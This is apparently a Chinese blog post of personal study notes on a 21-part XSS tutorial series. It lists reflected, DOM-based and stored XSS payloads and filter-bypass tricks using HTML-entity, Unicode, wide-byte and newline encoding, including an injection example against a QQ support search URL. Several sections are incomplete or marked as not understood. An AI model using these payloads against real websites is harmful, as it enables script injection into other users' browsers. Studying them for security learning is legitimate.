XSS学习总结21篇

所有的文章都是看源码分析的,但是我这里推荐用抓包工具看输出

在这里插入图片描述

这里我要补充一下xss的相关知识(这里非常非常重要,如果连这些都不知道,是很难做xss的)

一、html标签里可以继续写html标签
<p>giegie,我你男朋友不会揍我吧<script>alert(1)</script></p>
二、html元素的属性可以触发事件(https://www.runoob.com/html/html-attributes.html)
HTML 属性
HTML 元素可以设置属性
属性可以在元素中添加附加信息
属性一般描述于开始标签
属性总是以名称/值对的形式出现,比如:name="value"
例子:<img src=1 onerror=alert(1)>
三、js中的编码和html中的编码区分开(https://www.leavesongs.com/penetration/use-location-xss-bypass.html)
js中的unicode与8进制编码,只能放在js中的“字符串”中。比如<img src=1 onerror=alert\u0040\u0041>是不行的,但<img src=1 onerror=alert&#40&#41>可以
四、最重要的一点,根据实际情况尽量把插入的xss逃出输出框

1.什么都没过滤的入门情况

总结:插入html标签:如<script>alert(1);</script>

2.输出在 script /scrtpt之间的情况

一、闭合前面的标签或者就在标签里触发事件,然后script代码里的构造xsspayload

3.输出在HTML属性里的情况

一、闭合标签,然后插入
二、我们要把js中的编码和html中的编码区分开,在html属性中可以用字符实体代替原字符,比如&#40代替(,但js中的unicode与8进制编码,只能放在js中的“字符串”中。比如<img src=1 onerror=alert\u0040\u0041>是不行的,但<img src=1 onerror=alert&#40;&#41;>可以。

4.宽字节复仇记[QQ邮箱基本通用]

利用宽字节注入(类似于sql的宽字节)

5.反斜线复仇记

总结不来。。。

6.换行符复仇记

换行符%0aalert(1);//

7.宽字节、反斜线与换行符一起复仇记

找到注入位后,先写入payload,
发现要换行、和linux那种多行书写的方式\ 和宽字节闭合魔术引号

8.DOM XSS[显示输出]

unicode编码绕过

9.Dom Xss入门 [隐式输出]

闭合前面的标签,然后插入xsspayload,注释掉后面

输入十进制和输入url都可以
"></object><img src=1 onerror=alert(1)>

%22%3E%3C/object%3E%3Cimg%20src=1%20onerror=alert(1)%3E

10.Dom Xss进阶 [邂逅eval]

eval函数获取参数

原http://kf.qq.com/search_app.shtml?key=aaaaa

利用http://kf.qq.com/search_app.shtml?key=aaa";alert(1);//

11.Dom Xss进阶 [善变iframe]

以下xsspayload都可以

<iframe src="javascript:alert(1)"></iframe>

<iframe src="vbscript:msgbox(1)"></iframe>

<iframe src="data:text/html,<script>alert(1)</script>"></iframe>

<iframe srcdoc="&lt;script&gt;alert(1)&lt;/script&gt;"></iframe>

12.Dom Xss进阶 [路径con] —没看懂,需要利用XSS扫描器,不会

将后面的参数, param=xxx修改为param=xxx&callback=alert(1) ,从而覆盖前面的callback
抓包可以看到,被动态加载的keyword参数,我们在后面插入了一个callback,覆盖了前面的callback

13. Dom Xss实例 [Discuz X2.5]

因为传参在js脚本中,所以我们可以用js的unicode编码。先把前面用单引号闭合(这里的单引号是用的unicode编码)然后在写alert进行xss

第二点没看懂

14. Flash Xss入门 [navigateToURL]

flash我觉得过时了,就没看,如果想看的可以自己看下

15. Flash Xss进阶 [ExternalInterface.call第一个参数]

flash我觉得过时了,就没看,如果想看的可以自己看下

16. Flash Xss进阶 [ExternalInterface.call第二个参数]

flash我觉得过时了,就没看,如果想看的可以自己看下

17. XSS过滤器绕过 [通用绕过]

这个很神奇,没说什么原理,就直接给了xsspayload:<script src=data:,alert(1)<!--
这个xsspayload有点像 13. Dom Xss实例 [Discuz X2.5]里的内容

18. XSS过滤器绕过 [猥琐绕过]

闭合前面,然后插入<script>alert(1)</script>

19.存储型XSS入门 [什么都没过滤的情况]

感觉没必要

20. 存储型XSS入门 [套现绕过富文本]

http://html5sec.org/

20不完整,看不懂

21. 存储型XSS进阶 [猜测规则,利用Flash addCallback构造XSS]

flash我觉得过时了,就没看,如果想看的可以自己看下

++++++++++++++分割线+++++++++++分割线+++++++++++++++++++

以下是我写的以下乱七八糟的一些笔记

一、

在这里插入图片描述

二、burp默认HTML实体编码是16进制,但是解码的时候10进制和16进制都可以解码

在这里插入图片描述

正常payload为 '+alert(1)+'
但是过滤了单引号
但是我们可以变成html实体编码,把单引号变成   &#x27;
payload为 &#x27;+alert(1)+&#x27;
接着我们把代码转成url编码 &%26  # 为  %23

最后利用代码为%26%23x27;%2balert(1)%2b%26%23x27
"/><img src=# onerror=alert(1)/>//
<img src="1" onerror=alert&#40;1&#41;>
<script>alert&#40;1&#41;</script>
<script>alert%26%23x28;1%26%23x29;</script>
<script>alert&#40;1&#41;</script>

参考链接https://blog.csdn.net/weixin_39934520/category_9973431.html

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值